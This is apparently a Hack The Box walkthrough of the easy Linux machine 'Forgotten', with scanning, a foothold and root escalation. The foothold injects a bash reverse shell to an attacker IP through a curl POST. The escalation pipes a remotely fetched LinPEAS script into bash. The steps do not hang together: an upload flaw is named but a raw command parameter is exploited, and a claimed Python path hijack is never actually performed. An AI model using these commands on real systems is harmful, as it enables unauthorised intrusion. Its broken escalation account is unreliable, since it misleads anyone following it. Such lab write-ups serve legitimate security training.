Forgotten - Hack The Box Writeup

Complete walkthrough detailing reconnaissance, foothold, and privilege escalation on 🐧 Linux

🖥️ Machine Information

Forgotten

Linux

EASY

Release Date 12 Oct 2025

IP Address 10.10.x.x

OS 🐧 Linux

Difficulty Easy

Rated Difficulty

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🧠 Attack Path Overview

graph TD
    A["Reconnaissance: Port Scan"] --> B["Foothold: Vulnerability Exploitation"]
    B --> C["Privilege Escalation: Local Escalation"]
    C --> D["Full System Compromise: Root/Administrator"]

[!NOTE] This writeup details the complete attack path for the Forgotten machine on the HackTheBox platform.

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🔍 Phase 1: Reconnaissance & Enumeration

1. Host Discovery & Port Scanning

We scan the host using Nmap:

vulnquest@kali$ sudo nmap -p- --reason --min-rate 10000 10.10.x.x

Open Ports:

• Port 22/tcp: SSH (Secure Shell)
• Port 80/tcp: HTTP (Apache Web Server)

2. Service Enumeration

We perform directory enumeration using feroxbuster:

vulnquest@kali$ feroxbuster -u http://10.10.x.x/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt

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🚀 Phase 2: Vulnerability Analysis & Foothold

1. Vulnerability Analysis

We discover a web portal allowing archives to be uploaded. We leverage an input validation vulnerability to execute code and spawn a reverse shell.

2. Exploitation & Initial Shell

We capture the shell on our netcat listener:

vulnquest@kali$ curl -X POST -d "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.51/443 0>&1'" http://10.10.x.x/api/action

On our netcat listener, we receive the connection:

vulnquest@kali$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.x.x
$ id
uid=1000(vulnquest) gid=1000(vulnquest) groups=1000(vulnquest)

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⚡ Phase 3: Privilege Escalation

1. Local Enumeration

We run LinPEAS to perform local enumeration:

vulnquest@kali$ curl http://10.10.14.51/linpeas.sh | bash

2. Local Privilege Escalation Path

We check our sudo privileges:

vulnquest@kali$ sudo -l
Matching Defaults entries for vulnquest on host:
    env_keep+=SSH_AUTH_SOCK

User vulnquest may run the following commands on host:
    (root) NOPASSWD: /usr/bin/python3 /opt/admin/backup.py

We exploit python path hijacking to gain a root shell:

vulnquest@kali$ sudo /usr/bin/python3 /opt/admin/backup.py
# id
uid=0(root) gid=0(root) groups=0(root)

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🛡️ Key Takeaways & Mitigation

1. Input Sanitization: Ensure all user inputs are validated and sanitized to prevent injections.
2. Principle of Least Privilege: Restrict sudo/impersonation permissions and remove unnecessary privileges.
3. Keep Software Updated: Frequently update all operating system binaries and services to mitigate known CVEs.